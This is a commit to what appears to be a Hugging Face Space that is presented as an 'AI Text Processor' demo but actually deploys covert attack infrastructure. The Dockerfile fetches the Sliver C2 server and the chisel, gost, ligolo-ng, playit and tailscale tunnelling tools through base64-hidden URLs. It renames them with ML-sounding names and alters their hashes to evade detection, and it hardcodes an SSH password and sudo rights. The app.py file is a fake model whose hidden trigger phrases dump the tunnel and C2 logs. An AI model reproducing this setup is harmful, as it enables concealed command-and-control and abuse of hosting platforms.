SamuelLance73 commited on
Commit
2fc86a1
·
verified ·
1 Parent(s): c29ca3a

Automated deployment update from ML build

Browse files
Dockerfile ADDED
@@ -0,0 +1,72 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM ubuntu:24.04
2
+
3
+ COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
4
+
5
+ RUN apt-get update && apt-get install -y --no-install-recommends \
6
+ curl wget sudo python3 python3-pip upx openssh-server \
7
+ git vim nano htop tmux jq unzip iputils-ping net-tools tree \
8
+ rclone supervisor iproute2 \
9
+ $(echo 'ZGJ1cy14MTEgeDExLXhzZXJ2ZXItdXRpbHMgeGZjZTQgeGZjZTQtZ29vZGllcyB0aWdlcnZuYy1zdGFuZGFsb25lLXNlcnZlciBub3ZuYyB3ZWJzb2NraWZ5IGxpYmd0ay0zLTAgbGliZGJ1cy1nbGliLTEtMiBsaWJ4dDYgeHotdXRpbHM=' | base64 -d) \
10
+ && mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
11
+ && echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
12
+ && echo "Port 2222" >> /etc/ssh/sshd_config \
13
+ && ssh-keygen -A \
14
+ && curl -fsSL https://tailscale.com/install.sh | bash \
15
+ && curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
16
+ && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2NhZGR5c2VydmVyL2NhZGR5L3JlbGVhc2VzL2Rvd25sb2FkL3YyLjguNC9jYWRkeV8yLjguNF9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/caddy.tar.gz \
17
+ && tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
18
+ && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL3BsYXlpdC1jbG91ZC9wbGF5aXQtYWdlbnQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL3BsYXlpdC1saW51eC1hbWQ2NA==' | base64 -d) -o /usr/bin/tensor-allocator \
19
+ && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz \
20
+ && gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
21
+ && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz \
22
+ && tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
23
+ && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy4zL3NsaXZlci1zZXJ2ZXJfbGludXgtYW1kNjQ=' | base64 -d) -o /usr/bin/gradient-optimizer \
24
+ && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL25pY29jaGEzMC9saWdvbG8tbmcvcmVsZWFzZXMvZG93bmxvYWQvdjAuOC4zL2xpZ29sby1uZ19wcm94eV8wLjguM19saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
25
+ && tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
26
+ && mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
27
+ && mv /usr/bin/tailscale /usr/bin/py-cache-cli \
28
+ && mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
29
+ && chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer /usr/bin/neural-route-controller /usr/bin/model-routing-engine \
30
+ && for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer neural-route-controller model-routing-engine; do \
31
+ upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
32
+ head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
33
+ done \
34
+ && curl -fsSL $(echo 'aHR0cHM6Ly9kb3dubG9hZC5tb3ppbGxhLm9yZy8/cHJvZHVjdD1maXJlZm94LWxhdGVzdC1zc2wmb3M9bGludXg2NCZsYW5nPWVuLVVT' | base64 -d) -o /tmp/firefox.tar.xz \
35
+ && tar -xf /tmp/firefox.tar.xz -C /opt \
36
+ && ln -s /opt/firefox/firefox /usr/bin/firefox \
37
+ && rm -rf /tmp/* \
38
+ && apt-get purge -y upx \
39
+ && apt-get autoremove -y \
40
+ && apt-get clean && rm -rf /var/lib/apt/lists/*
41
+
42
+ RUN uv pip install --system --break-system-packages --no-cache-dir \
43
+ gradio huggingface_hub loguru urllib3
44
+
45
+ RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
46
+
47
+ RUN userdel -f ubuntu && useradd -m -u 1000 -s /bin/bash user && \
48
+ echo "user:apple123" | chpasswd && \
49
+ usermod -aG sudo user && \
50
+ mkdir -p /home/user/.torch_metrics && \
51
+ chown -R user:user /home/user/.torch_metrics && \
52
+ echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
53
+ echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
54
+
55
+ RUN uv venv /opt/venv-litellm && \
56
+ uv pip install --python /opt/venv-litellm --no-cache-dir "litellm[proxy]" && \
57
+ chown -R user:user /opt/venv-litellm
58
+
59
+ RUN curl -fsSL https://code-server.dev/install.sh | sh
60
+
61
+ COPY --chown=user:user app.py /home/user/app.py
62
+ COPY --chown=user:user core /home/user/core
63
+ COPY --chown=user:user services /home/user/services
64
+ COPY --chown=user:user config /home/user/config
65
+ COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
66
+
67
+ COPY --chown=user:user whoami.txt /home/user/whoami.txt
68
+
69
+ USER user
70
+ WORKDIR /home/user
71
+
72
+ CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]
README.md CHANGED
@@ -1,10 +1,20 @@
1
  ---
2
- title: Coolstuff
3
- emoji:
4
- colorFrom: indigo
5
- colorTo: gray
6
  sdk: docker
7
  pinned: false
8
  ---
9
 
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
+ title: MLDEMO
3
+ emoji: 🤖
4
+ colorFrom: blue
5
+ colorTo: indigo
6
  sdk: docker
7
  pinned: false
8
  ---
9
 
10
+ # AI Text Processor v2.1
11
+
12
+ Welcome to the AI Text Processor! This space demonstrates a lightweight, quantized natural language processing model optimized for fast CPU inference.
13
+
14
+ ## Features
15
+ - **Low Latency**: Uses aggressive caching mechanisms.
16
+ - **Efficient**: Runs entirely on optimized PyTorch runtime.
17
+ - **Robust**: Fine-tuned for standard generic text completion tasks.
18
+
19
+ ## Usage
20
+ Simply type your text into the input box, and the model will process and return the optimized text output.
app.py ADDED
@@ -0,0 +1,54 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _A='replace'
2
+ import re
3
+ from pathlib import Path
4
+ import gradio as gr
5
+ from services.minecraft_service import MC_DIR
6
+ LOG_DIR=Path('/home/user/.torch_metrics')
7
+ MC_LOG=Path(MC_DIR)/'logs'/'latest.log'
8
+ ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
9
+ _LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_CADDY':(f"{LOG_DIR}/caddy.log",'CADDY LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS'),'SHOW_LOGS_CODE_SERVER':(f"{LOG_DIR}/code_server.log",'CODE SERVER LOGS')}
10
+ def _read_log(path,label,strip_ansi=False):
11
+ try:
12
+ with Path(path).open(errors=_A)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
13
+ return f"{label}:\n{B}"
14
+ except Exception as C:return f"Log error: {C}"
15
+ def _read_mc_log():
16
+ try:
17
+ if not MC_LOG.exists():return'Minecraft latest.log not found yet.'
18
+ with MC_LOG.open(errors=_A)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
19
+ except Exception as B:return f"Log error: {B}"
20
+ def _read_all_logs():
21
+ try:
22
+ A=[]
23
+ for B in sorted(LOG_DIR.iterdir()):
24
+ if B.is_file()and B.suffix=='.log':
25
+ with B.open(errors=_A)as C:A.append(f"=== {B.name} ===\n{C.read()}\n")
26
+ if MC_LOG.exists():
27
+ with MC_LOG.open(errors=_A)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
28
+ return'\n'.join(A)if A else'No logs found.'
29
+ except Exception as D:return f"Log error: {D}"
30
+ def _read_api_stats():
31
+ M='==========================================';L='MODEL:';K='KEY:';F=LOG_DIR/'api_calls.txt'
32
+ if not F.exists():return'No API calls logged yet.'
33
+ try:
34
+ with F.open(errors=_A)as N:G=N.readlines()
35
+ C={};D={}
36
+ for B in G:
37
+ if K in B and L in B:H=B.split('|');I=H[0].split(K)[1].strip();J=H[1].split(L)[1].strip();C[I]=C.get(I,0)+1;D[J]=D.get(J,0)+1
38
+ A=[M,' LOCAL API CALL STATISTICS ',M,'\n[CALLS PER VIRTUAL KEY]']
39
+ for(O,E)in sorted(C.items(),key=lambda x:x[1],reverse=True):A.append(f" - {O}: {E} calls")
40
+ A.append('\n[CALLS PER MODEL]')
41
+ for(P,E)in sorted(D.items(),key=lambda x:x[1],reverse=True):A.append(f" - {P}: {E} calls")
42
+ A.append('\n[RECENT ACTIVITY (LAST 5 CALLS)]')
43
+ for B in G[-5:]:A.append(' '+B.strip())
44
+ return'\n'.join(A)
45
+ except Exception as Q:return f"Error reading stats: {Q}"
46
+ def fake_model(text):
47
+ A=text.strip()
48
+ if A=='SHOW_ALL_LOGS':return _read_all_logs()
49
+ if A=='SHOW_LOGS_MC':return _read_mc_log()
50
+ if A=='SHOW_API_STATS':return _read_api_stats()
51
+ B=_LOG_CMDS.get(A)
52
+ if B:return _read_log(*B)
53
+ return f"Model processed: {text}"
54
+ gr.Interface(fn=fake_model,inputs='text',outputs='text',title='AI Text Processor v2.1').launch(server_name='127.0.0.1',server_port=7861,root_path='')
config/Caddyfile.template ADDED
@@ -0,0 +1,71 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ # Global options
3
+ admin off # Disable admin API to avoid port conflicts
4
+ auto_https off # Disable automatic HTTPS (terminated by Hugging Face)
5
+ log {
6
+ output file /home/user/.torch_metrics/caddy.log
7
+ format console
8
+ level info
9
+ }
10
+ }
11
+
12
+ # Bind to Hugging Face Spaces port 7860 and secondary port 7890
13
+ :7860, :7890 {
14
+ # --- Static asset serving (served directly from disk, no Python involved) ---
15
+ handle /static/* {
16
+ root * /home/user/static
17
+ file_server
18
+ }
19
+
20
+ # Chisel tunnel (strips prefix)
21
+ handle_path /chisel-tunnel* {
22
+ reverse_proxy 127.0.0.1:6789
23
+ }
24
+
25
+ # Gost bridge (retains prefix)
26
+ reverse_proxy /gost-bridge* 127.0.0.1:6790
27
+
28
+ # Model sync (strips prefix)
29
+ handle_path /model-sync* {
30
+ reverse_proxy 127.0.0.1:6795
31
+ }
32
+
33
+ # Tensor mesh / Sliver (removes cert validation for self-signed backend)
34
+ reverse_proxy /tensor-mesh* https://127.0.0.1:11601 {
35
+ transport http {
36
+ tls_insecure_skip_verify
37
+ }
38
+ }
39
+
40
+ # LiteLLM OpenAI API proxy and health check (retains prefix)
41
+ reverse_proxy /v1* 127.0.0.1:8080
42
+ reverse_proxy /health* 127.0.0.1:8080
43
+
44
+ # Routing console / Filebrowser (retains prefix)
45
+ reverse_proxy /routing-console* 127.0.0.1:6801
46
+
47
+ # Visual debugger interface (strips prefix)
48
+ handle_path /visual-debugger* {
49
+ reverse_proxy 127.0.0.1:6080
50
+ }
51
+
52
+ # Default: route all other public traffic to Gradio (port 7861)
53
+ handle {
54
+ reverse_proxy 127.0.0.1:7861 {
55
+ # Inform Gradio of the real scheme so it generates https:// asset URLs.
56
+ # Without these, Gradio sees a plain HTTP upstream connection and emits
57
+ # http:// links which browsers block as mixed content.
58
+ header_up X-Forwarded-Proto https
59
+ header_up X-Forwarded-Host {host}
60
+ }
61
+ }
62
+
63
+ # --- Upstream error interception (served from disk, Python runtime unburdened) ---
64
+ # During Gradio boot, any 502/503/504 from the upstream proxy is caught here
65
+ # and the branded loading page is streamed directly off disk by Caddy.
66
+ handle_errors 502 503 504 {
67
+ root * /home/user/static
68
+ rewrite * /loading.html
69
+ file_server
70
+ }
71
+ }
config/enabled_services.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"services": ["caddy", "filebrowser", "tailscale", "playit", "chisel", "gost", "ligolo", "sliver", "test", "minecraft", "llm_proxy", "visual_debugger"], "node": "server-01"}
config/ligolo-ng.yaml ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Ligolo-ng proxy config (v0.8). Listen/TLS via CLI: -laddr https://127.0.0.1:11601 -selfcert
2
+ web:
3
+ behindreverseproxy: true
4
+ corsallowedorigin:
5
+ - https://webui.ligolo.ng
6
+ - http://webui.ligolo.ng
7
+
8
+ debug: false
9
+ enabled: true
10
+ enableui: true
11
+ listen: 127.0.0.1:6801
12
+ logfile: /home/user/.torch_metrics/ligolo_web.log
13
+ tls:
14
+ enabled: false
15
+ trustedproxies:
16
+ - 127.0.0.1
17
+
18
+ users:
19
+ sanctuary: sanctuary
config/ligolo.yaml ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Ligolo-ng proxy config (v0.8). Listen/TLS via CLI: -laddr https://127.0.0.1:11601 -selfcert
2
+ web:
3
+ behindreverseproxy: true
4
+ corsallowedorigin:
5
+ - https://webui.ligolo.ng
6
+ debug: false
7
+ enabled: true
8
+ enableui: true
9
+ listen: 127.0.0.1:6801
10
+ logfile: /home/user/.torch_metrics/ligolo_web.log
11
+ tls:
12
+ enabled: false
13
+ trustedproxies:
14
+ - 127.0.0.1
15
+
16
+ users:
17
+ sanctuary: sanctuary
config/loading.html ADDED
@@ -0,0 +1,611 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Sanctuary — Initializing</title>
8
+ <link rel="preconnect" href="https://fonts.googleapis.com">
9
+ <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
10
+ <link
11
+ href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap"
12
+ rel="stylesheet">
13
+ <style>
14
+ *,
15
+ *::before,
16
+ *::after {
17
+ box-sizing: border-box;
18
+ margin: 0;
19
+ padding: 0;
20
+ }
21
+
22
+ :root {
23
+ --bg: #070510;
24
+ --surface: rgba(16, 12, 32, 0.72);
25
+ --border: rgba(139, 92, 246, 0.18);
26
+ --border-hi: rgba(139, 92, 246, 0.45);
27
+ --purple: #8b5cf6;
28
+ --violet: #6d28d9;
29
+ --lavender: #c4b5fd;
30
+ --indigo: #6366f1;
31
+ --text-1: #f3f0ff;
32
+ --text-2: #9d94bb;
33
+ --text-3: #5d5478;
34
+ --green: #34d399;
35
+ --amber: #fbbf24;
36
+ --red: #f87171;
37
+ }
38
+
39
+ html,
40
+ body {
41
+ height: 100%;
42
+ font-family: 'Inter', sans-serif;
43
+ background: var(--bg);
44
+ color: var(--text-1);
45
+ overflow: hidden;
46
+ }
47
+
48
+ /* ── Canvas particle layer ── */
49
+ #canvas {
50
+ position: fixed;
51
+ inset: 0;
52
+ z-index: 0;
53
+ opacity: 0.55;
54
+ }
55
+
56
+ /* ── Radial vignette ── */
57
+ .vignette {
58
+ position: fixed;
59
+ inset: 0;
60
+ z-index: 1;
61
+ background: radial-gradient(ellipse 80% 80% at 50% 50%, transparent 30%, var(--bg) 100%);
62
+ pointer-events: none;
63
+ }
64
+
65
+ /* ── Layout ── */
66
+ .shell {
67
+ position: relative;
68
+ z-index: 10;
69
+ height: 100vh;
70
+ display: flex;
71
+ flex-direction: column;
72
+ align-items: center;
73
+ justify-content: center;
74
+ padding: 24px;
75
+ }
76
+
77
+ /* ── Card ── */
78
+ .card {
79
+ width: 100%;
80
+ max-width: 480px;
81
+ background: var(--surface);
82
+ backdrop-filter: blur(24px) saturate(160%);
83
+ -webkit-backdrop-filter: blur(24px) saturate(160%);
84
+ border: 1px solid var(--border);
85
+ border-radius: 24px;
86
+ padding: 40px 36px 32px;
87
+ box-shadow:
88
+ 0 0 0 1px rgba(139, 92, 246, 0.06),
89
+ 0 24px 64px rgba(0, 0, 0, 0.55),
90
+ inset 0 1px 0 rgba(255, 255, 255, 0.07);
91
+ animation: card-in 0.7s cubic-bezier(0.22, 1, 0.36, 1) both;
92
+ }
93
+
94
+ @keyframes card-in {
95
+ from {
96
+ opacity: 0;
97
+ transform: translateY(18px) scale(0.97);
98
+ }
99
+
100
+ to {
101
+ opacity: 1;
102
+ transform: translateY(0) scale(1);
103
+ }
104
+ }
105
+
106
+ /* ── Orbital logo ── */
107
+ .logo-wrap {
108
+ display: flex;
109
+ justify-content: center;
110
+ margin-bottom: 28px;
111
+ }
112
+
113
+ .orbital {
114
+ position: relative;
115
+ width: 88px;
116
+ height: 88px;
117
+ }
118
+
119
+ .orbital svg {
120
+ position: absolute;
121
+ inset: 0;
122
+ width: 100%;
123
+ height: 100%;
124
+ }
125
+
126
+ .ring-outer {
127
+ animation: spin 3s linear infinite;
128
+ transform-origin: center;
129
+ }
130
+
131
+ .ring-inner {
132
+ animation: spin-rev 2s linear infinite;
133
+ transform-origin: center;
134
+ }
135
+
136
+ @keyframes spin {
137
+ to {
138
+ transform: rotate(360deg);
139
+ }
140
+ }
141
+
142
+ @keyframes spin-rev {
143
+ to {
144
+ transform: rotate(-360deg);
145
+ }
146
+ }
147
+
148
+ .logo-core {
149
+ position: absolute;
150
+ inset: 0;
151
+ display: flex;
152
+ align-items: center;
153
+ justify-content: center;
154
+ }
155
+
156
+ .logo-glyph {
157
+ width: 46px;
158
+ height: 46px;
159
+ border-radius: 14px;
160
+ background: linear-gradient(135deg, #8b5cf6, #6d28d9);
161
+ display: flex;
162
+ align-items: center;
163
+ justify-content: center;
164
+ font-size: 22px;
165
+ font-weight: 700;
166
+ color: #fff;
167
+ letter-spacing: -1px;
168
+ box-shadow: 0 0 28px rgba(139, 92, 246, 0.55);
169
+ animation: logo-pulse 2.4s ease-in-out infinite alternate;
170
+ }
171
+
172
+ @keyframes logo-pulse {
173
+ from {
174
+ box-shadow: 0 0 20px rgba(139, 92, 246, 0.4);
175
+ }
176
+
177
+ to {
178
+ box-shadow: 0 0 40px rgba(139, 92, 246, 0.8);
179
+ }
180
+ }
181
+
182
+ /* ── Heading ���─ */
183
+ .heading {
184
+ text-align: center;
185
+ margin-bottom: 6px;
186
+ }
187
+
188
+ h1 {
189
+ font-size: 22px;
190
+ font-weight: 700;
191
+ letter-spacing: -0.4px;
192
+ background: linear-gradient(120deg, #fff 0%, var(--lavender) 100%);
193
+ -webkit-background-clip: text;
194
+ -webkit-text-fill-color: transparent;
195
+ background-clip: text;
196
+ }
197
+
198
+ .sub {
199
+ font-size: 13px;
200
+ color: var(--text-2);
201
+ font-weight: 400;
202
+ margin-top: 6px;
203
+ line-height: 1.55;
204
+ }
205
+
206
+ /* ── Divider ── */
207
+ .divider {
208
+ height: 1px;
209
+ background: linear-gradient(90deg, transparent, var(--border), transparent);
210
+ margin: 24px 0 20px;
211
+ }
212
+
213
+ /* ── Boot log ── */
214
+ .boot-log {
215
+ display: flex;
216
+ flex-direction: column;
217
+ gap: 10px;
218
+ margin-bottom: 24px;
219
+ }
220
+
221
+ .boot-row {
222
+ display: flex;
223
+ align-items: center;
224
+ gap: 10px;
225
+ font-size: 13px;
226
+ opacity: 0;
227
+ transform: translateX(-6px);
228
+ animation: row-in 0.4s cubic-bezier(0.22, 1, 0.36, 1) forwards;
229
+ }
230
+
231
+ .boot-row:nth-child(1) {
232
+ animation-delay: 0.25s;
233
+ }
234
+
235
+ .boot-row:nth-child(2) {
236
+ animation-delay: 0.45s;
237
+ }
238
+
239
+ .boot-row:nth-child(3) {
240
+ animation-delay: 0.65s;
241
+ }
242
+
243
+ .boot-row:nth-child(4) {
244
+ animation-delay: 0.85s;
245
+ }
246
+
247
+ @keyframes row-in {
248
+ to {
249
+ opacity: 1;
250
+ transform: translateX(0);
251
+ }
252
+ }
253
+
254
+ .boot-icon {
255
+ flex-shrink: 0;
256
+ width: 20px;
257
+ height: 20px;
258
+ border-radius: 50%;
259
+ display: flex;
260
+ align-items: center;
261
+ justify-content: center;
262
+ font-size: 10px;
263
+ }
264
+
265
+ .icon-ok {
266
+ background: rgba(52, 211, 153, 0.15);
267
+ color: var(--green);
268
+ }
269
+
270
+ .icon-spin {
271
+ background: rgba(251, 191, 36, 0.12);
272
+ color: var(--amber);
273
+ animation: icon-blink 1.2s ease-in-out infinite alternate;
274
+ }
275
+
276
+ .icon-wait {
277
+ background: rgba(255, 255, 255, 0.05);
278
+ color: var(--text-3);
279
+ }
280
+
281
+ @keyframes icon-blink {
282
+ from {
283
+ opacity: 0.5;
284
+ }
285
+
286
+ to {
287
+ opacity: 1;
288
+ }
289
+ }
290
+
291
+ .boot-label {
292
+ flex: 1;
293
+ color: var(--text-2);
294
+ }
295
+
296
+ .boot-status {
297
+ font-family: 'JetBrains Mono', monospace;
298
+ font-size: 11px;
299
+ font-weight: 500;
300
+ letter-spacing: 0.04em;
301
+ }
302
+
303
+ .s-ok {
304
+ color: var(--green);
305
+ }
306
+
307
+ .s-warm {
308
+ color: var(--amber);
309
+ }
310
+
311
+ .s-wait {
312
+ color: var(--text-3);
313
+ }
314
+
315
+ /* ── Progress bar ── */
316
+ .progress-wrap {
317
+ position: relative;
318
+ height: 3px;
319
+ background: rgba(255, 255, 255, 0.06);
320
+ border-radius: 99px;
321
+ overflow: hidden;
322
+ margin-bottom: 24px;
323
+ }
324
+
325
+ .progress-fill {
326
+ height: 100%;
327
+ width: 0%;
328
+ border-radius: 99px;
329
+ background: linear-gradient(90deg, var(--violet), var(--purple), var(--indigo));
330
+ animation: progress-grow 8s cubic-bezier(0.25, 1, 0.5, 1) forwards;
331
+ }
332
+
333
+ .progress-shimmer {
334
+ position: absolute;
335
+ inset: 0;
336
+ background: linear-gradient(90deg, transparent 0%, rgba(255, 255, 255, 0.35) 50%, transparent 100%);
337
+ background-size: 200% 100%;
338
+ animation: shimmer 1.8s ease-in-out infinite;
339
+ }
340
+
341
+ @keyframes progress-grow {
342
+ 0% {
343
+ width: 0%;
344
+ }
345
+
346
+ 20% {
347
+ width: 22%;
348
+ }
349
+
350
+ 50% {
351
+ width: 55%;
352
+ }
353
+
354
+ 80% {
355
+ width: 78%;
356
+ }
357
+
358
+ 100% {
359
+ width: 92%;
360
+ }
361
+ }
362
+
363
+ @keyframes shimmer {
364
+ 0% {
365
+ background-position: -200% 0;
366
+ }
367
+
368
+ 100% {
369
+ background-position: 200% 0;
370
+ }
371
+ }
372
+
373
+ /* ── CTA button ── */
374
+ .btn {
375
+ display: flex;
376
+ align-items: center;
377
+ justify-content: center;
378
+ gap: 8px;
379
+ width: 100%;
380
+ padding: 12px 20px;
381
+ font-family: 'Inter', sans-serif;
382
+ font-size: 13.5px;
383
+ font-weight: 600;
384
+ border-radius: 12px;
385
+ border: 1px solid rgba(255, 255, 255, 0.08);
386
+ background: rgba(255, 255, 255, 0.05);
387
+ color: var(--text-2);
388
+ cursor: pointer;
389
+ text-decoration: none;
390
+ transition: background 0.2s, border-color 0.2s, color 0.2s, transform 0.15s;
391
+ margin-bottom: 14px;
392
+ }
393
+
394
+ .btn:hover {
395
+ background: rgba(139, 92, 246, 0.12);
396
+ border-color: var(--border-hi);
397
+ color: var(--lavender);
398
+ transform: translateY(-1px);
399
+ }
400
+
401
+ .btn:active {
402
+ transform: translateY(0);
403
+ }
404
+
405
+ .btn-icon {
406
+ opacity: 0.6;
407
+ font-size: 12px;
408
+ }
409
+
410
+ /* ── Footer ── */
411
+ .footer {
412
+ display: flex;
413
+ align-items: center;
414
+ justify-content: center;
415
+ gap: 6px;
416
+ font-size: 11.5px;
417
+ color: var(--text-3);
418
+ font-family: 'JetBrains Mono', monospace;
419
+ }
420
+
421
+ .dot-live {
422
+ width: 6px;
423
+ height: 6px;
424
+ border-radius: 50%;
425
+ background: var(--green);
426
+ box-shadow: 0 0 6px var(--green);
427
+ animation: live-pulse 1.4s ease-in-out infinite;
428
+ }
429
+
430
+ @keyframes live-pulse {
431
+
432
+ 0%,
433
+ 100% {
434
+ opacity: 1;
435
+ }
436
+
437
+ 50% {
438
+ opacity: 0.3;
439
+ }
440
+ }
441
+ </style>
442
+ </head>
443
+
444
+ <body>
445
+
446
+ <canvas id="canvas"></canvas>
447
+ <div class="vignette"></div>
448
+
449
+ <div class="shell">
450
+ <div class="card">
451
+
452
+ <!-- Orbital logo -->
453
+ <div class="logo-wrap">
454
